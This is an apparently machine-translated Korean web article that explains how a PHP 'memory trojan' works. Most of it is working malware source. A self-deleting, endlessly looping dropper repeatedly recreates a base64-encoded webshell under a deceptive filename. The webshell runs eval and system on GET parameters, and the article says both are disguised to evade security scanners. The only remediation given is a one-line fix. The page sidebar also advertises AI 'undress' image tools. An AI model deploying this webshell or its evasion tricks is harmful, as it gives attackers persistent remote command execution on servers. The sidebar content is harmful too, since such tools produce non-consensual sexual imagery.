PHP 메모리 트로이 목마 바이러스의 구현 원리를 분석해 보세요.
머리말
메모리 트로이 목마는 메모리에서 실행되며 코드 엔터티가 없는 트로이 목마 바이러스입니다. 메모리 트로이 목마는 고도로 숨겨져 있고 탐지하기 어렵고 죽일 수 없습니다(일반적으로 불멸의 말이라고 함).
네트워크 보안 산업은 강력한 배럴 효과를 가지고 있습니다. 시스템은 블랙햇에 맞서 싸우며, 그 결과는 보안의 가장 약한 고리에 달려 있습니다. 검은 모자 vs 흰 모자, 공격 수준과 은폐 및 파괴 수준에 따라 결과가 달라집니다.
본문에서는 임의 파일 업로드나 근거리 소스 공격으로 인해 프로덕션 서버에 악성 코드 조각이 접근했는지 여부에 대해서는 논의하지 않습니다.
바이러스 소스 코드(매우 간단함)
<?php //设置脚本不超时 set_time_limit(0);ignore_user_abort(true); //删除文件本体 @unlink(__FILE__); //给木马病毒起一个迷惑性的名字 $file = './getUserInfo.php'; //死循环常驻内存。释放木马文件 while(true) { if(! file_exists($file)) @file_put_contents($file, base64_decode('PD9waHAKaWYoJGUgPSBAJF9HRVRbJ2UnXSkgewogICAgJGZ1bmMgPSBAY3JlYXRlX2Z1bmN0aW9uKG51bGwsIGJhc2U2NF9kZWNvZGUoJ1pYWmhiQ2dpJykgLiAkZSAuIGJhc2U2NF9kZWNvZGUoJ0lpazcnKSk7CiAgICAkZnVuYygpOwp9CgppZigkcyA9IEAkX0dFVFsncyddKSB7CiAgICAkZiA9IHN0cl9yZXBsYWNlKCd4JywgJycsICd4eHhzeHh5eHN4eHh4eHh0eHhleHh4bXh4eHh4eHh4Jyk7CiAgICAkZigkcyk7Cn0=')); sleep(60); }
바이러스 본체 해제
<?php //以下代码实现了eval关键字和system函数的伪装 //eval($_GET['e']); if($e = @$_GET['e']) { $func = @create_function(null, base64_decode('ZXZhbCgi') . $e . base64_decode('Iik7')); $func(); } //system($_GET['s']); if($s = @$_GET['s']) { $f = str_replace('x', '', 'xxxsxxyxsxxxxxxtxxexxxmxxxxxxxx'); $f($s); }
지침
위의 중요 중요 코드는 다양한 보안 스캔을 피하기 위해 암호화되어 있습니다.
바이러스 샘플이 실행되면 자체 삭제되며 오랫동안 메모리에서 실행됩니다.
유출된 트로이 목마가 탐지되어 삭제되더라도 동일한 파일이 생성됩니다.
해결 방법
프로세스 종료 후 공개된 트로이 목마 파일을 삭제하세요.
추천: "PHP 비디오 튜토리얼"
위 내용은 PHP 메모리 트로이 목마 바이러스의 구현 원리를 분석해 보세요.의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

핫 AI 도구

Undresser.AI Undress
사실적인 누드 사진을 만들기 위한 AI 기반 앱

AI Clothes Remover
사진에서 옷을 제거하는 온라인 AI 도구입니다.

Undress AI Tool
무료로 이미지를 벗다

Clothoff.io
AI 옷 제거제

AI Hentai Generator
AI Hentai를 무료로 생성하십시오.

인기 기사

뜨거운 도구

메모장++7.3.1
사용하기 쉬운 무료 코드 편집기

SublimeText3 중국어 버전
중국어 버전, 사용하기 매우 쉽습니다.

스튜디오 13.0.1 보내기
강력한 PHP 통합 개발 환경

드림위버 CS6
시각적 웹 개발 도구

SublimeText3 Mac 버전
신 수준의 코드 편집 소프트웨어(SublimeText3)

뜨거운 주제











이번 장에서는 CakePHP의 환경 변수, 일반 구성, 데이터베이스 구성, 이메일 구성에 대해 알아봅니다.

PHP 8.4는 상당한 양의 기능 중단 및 제거를 통해 몇 가지 새로운 기능, 보안 개선 및 성능 개선을 제공합니다. 이 가이드에서는 Ubuntu, Debian 또는 해당 파생 제품에서 PHP 8.4를 설치하거나 PHP 8.4로 업그레이드하는 방법을 설명합니다.

CakePHP에서 데이터베이스 작업은 매우 쉽습니다. 이번 장에서는 CRUD(생성, 읽기, 업데이트, 삭제) 작업을 이해하겠습니다.

CakePHP는 PHP용 오픈 소스 프레임워크입니다. 이는 애플리케이션을 훨씬 쉽게 개발, 배포 및 유지 관리할 수 있도록 하기 위한 것입니다. CakePHP는 강력하고 이해하기 쉬운 MVC와 유사한 아키텍처를 기반으로 합니다. 모델, 뷰 및 컨트롤러 gu
